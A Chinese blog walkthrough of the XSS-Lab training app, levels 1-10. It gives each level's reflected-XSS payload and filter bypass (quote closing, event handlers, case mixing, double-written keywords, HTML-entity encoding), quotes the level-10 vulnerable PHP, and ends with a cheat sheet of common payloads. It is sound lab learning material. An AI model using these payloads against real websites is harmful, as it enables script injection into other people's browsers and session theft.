XSS-Lab(XSS注入教程)

9 篇文章 0 订阅
4 篇文章 0 订阅

前言:

        该文章仅用于信息网络安全防御技术学习,请勿用于其他用途!

        该文章为纯技术分享,严禁利用本文章所提到的技术进行非法攻击!

目录

XSS-lab:

level1(直接注入)

Level2(闭合)

Level3(绕过)

Level4(onclick绕过)

Level5(绕过检测on和script事件)

Level6(大小写绕过)

Level7(双写绕过标签过滤)

Level8(编码绕过)

Level9(必要字段+ASCII编码绕过)

Level10

总结:

 常用的payload

XSS常用的标签:


XSS-lab:

1、github上搜索xsslab,Github仓库:https://github.com/rebo-rn/xss-lab
2、下载资源放到小皮的www目录里
3、小皮创建网站然后重启服务
4、点击图片开始挑战:

level1直接注入

(1)直接注入:<script>alert(1)</script>
(2)成功注入

Level2(闭合)

1、发现一个输入框,尝试输入上一关的payload:<script>alert(1)</script>
2、输入之后点击搜索没反应,查看源码发现把我们输入的内容进行了替换
3、改写payload:"><script>alert(1)</script>

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

Level3(绕过)

1、先尝试使用前两关的payload发现没有用
2、查看源代码发现输入的内容被转义了,尝试在当前位置绑定一个点击事件,点击输入框
3、Payload:keyword=' onclick='alert(1)

Level4(onclick绕过

1、还是上万能的探测语句:<script>alert(1)</script>
2、使用上一关的payload,发现还是行不通,尝试双引号
3、果然,Payload:keyword=" onclick="alert(1)

Level5(绕过检测on和script事件)

1、尝试了前几关的payload发现都不行
2、查看源代码发现onclick和script都被过滤了
3、使用<a></a>标签试一下,payload:keyword="><a href="javascript:alert(1)"

Level6(大小写绕过)

1、还是尝试上一关的payload:"><a href="javascript:alert(1)"
2、发现不行,查看源代码发现href被过滤了
3、尝试一下大小写,点击中间的图片,payload:"><a Href="javascript:alert(1)

Level7(双写绕过标签过滤)

1、老样子,先试一下之前的注入,发现script直接被过滤了
2、Script被替换掉,那么传入sscriptcript,这样被替换后就是我们想要的script了
3、同样的href也可以替换为hhrefref
4、Payload:"><a hhrefref="javasscriptcript:alert(1)

Level8(编码绕过)

1、老样子,使用上一关的注入,发现行不通
2、更换大小写也不行,还加了下划线
3、使用Unicode编码,payload:javasc&#114;ipt:alert(1)

Level9(必要字段+ASCII编码绕过)

1、老样子,使用上一关的payload注入,javascript:alert(1)
2、提示链接不合法,找一个合法的链接试试
3、输入javascript:alert(1)//http://baidu.com/发现被添加了下划线
4、尝试使用Unicode编码,payload:javasc&amp;#114;ipt:alert(1)//http://baidu.com/

Level10

1、直接查看源代码吧
2、发现注入点可能是t_sort,然后发现过滤了<和>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的type是hidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text
3、Payload:?keyword=well%20done!&t_sort=" onmouseover='alert(1)' type="text
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

总结:

        

        做了10题下来,发现难度是依次上升的

解题思路:先观察题目的类型,猜哪个地方可以存在注入,然后是代码分析,这个可以交给chatgpt,下面就可以尝试自己构造好的payload,也可以进行BP抓包看下具体数据,或者指纹识别查一下框架是否有历史漏洞,

 常用的payload

常用的payload:
<SCRscriptIPT>'"()Oonnjavascript
<script>alert(123)</script> 
闭合(难点)
事件:οnmοuseοver、onfocus    ----onfocus=javascript:alert(123)---οnmοuseοver=alert(123)-----
img标签   <img src=1 onerror=alert(123)> 
a标签   <a href=javascript:alert(123)>haha</a>
Unicode编码绕过,大小写绕过,双写绕过
a标签href后面javascript:alert(123)//http://github.com/
抓包改referer,cookie,User-Agent: 

不用死记硬背,自己多敲,用的时候能想起来就行。

XSS常用的标签:


在XSS中常用的是以下这些标签
alert              		 alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location   		 window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向				到新的页面
location.href   		返回当前显示的文档的完整URL
onload               		一张页面或一幅图像完成加载
onerror               		  在加载文档或图像时发生错误
onchange		HTML 元素改变
onclick			用户点击 HTML 元素
onmouseover		鼠标指针移动到指定的元素上时发生
onmouseout		用户从一个 HTML 元素上移开鼠标时发生
onkeydown		用户按下键盘按键

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值